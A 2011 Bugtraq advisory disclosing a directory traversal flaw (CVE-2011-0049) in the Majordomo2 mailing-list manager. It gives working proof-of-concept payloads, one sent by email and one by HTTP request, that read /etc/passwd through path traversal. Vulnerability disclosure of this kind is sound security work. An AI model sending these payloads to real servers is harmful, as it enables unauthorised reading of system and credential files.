bugtraq - Majordomo2 - Directory Traversal (SMTP/HTTP)

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Message-ID: <20110203032955.27582.qmail@securityfocus.com>
Date: 3 Feb 2011 03:29:55 -0000
From: mike@...ewat.ch
To: bugtraq@...urityfocus.com
Subject: Majordomo2 - Directory Traversal (SMTP/HTTP)

Original Advisory: https://sitewat.ch/en/Advisory/View/1
Credit: Michael Brooks (https://sitewat.ch)
Vulnerability:  Directory Traversal
Software: Majordomo2
Identifier:CVE-2011-0049
Vendor: http://www.mj2.org/
Affected Build: 20110121 and prior

Special thanks to Dave Miller,  Reed Loden and the rest of the Mozilla security team for handling the issue.

This vulnerability is exploitable via ALL of Majordomo2's interfaces. *Including e-mail*.  Send an email to majordomo's mail interface (for example: majordomo@...zilla.org) with the body of the message as follows:
help ../../../../../../../../../../../../../etc/passwd

I'll give you one guess as to the contents of the response email ;).

PoC for HTTP:
http://localhost/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd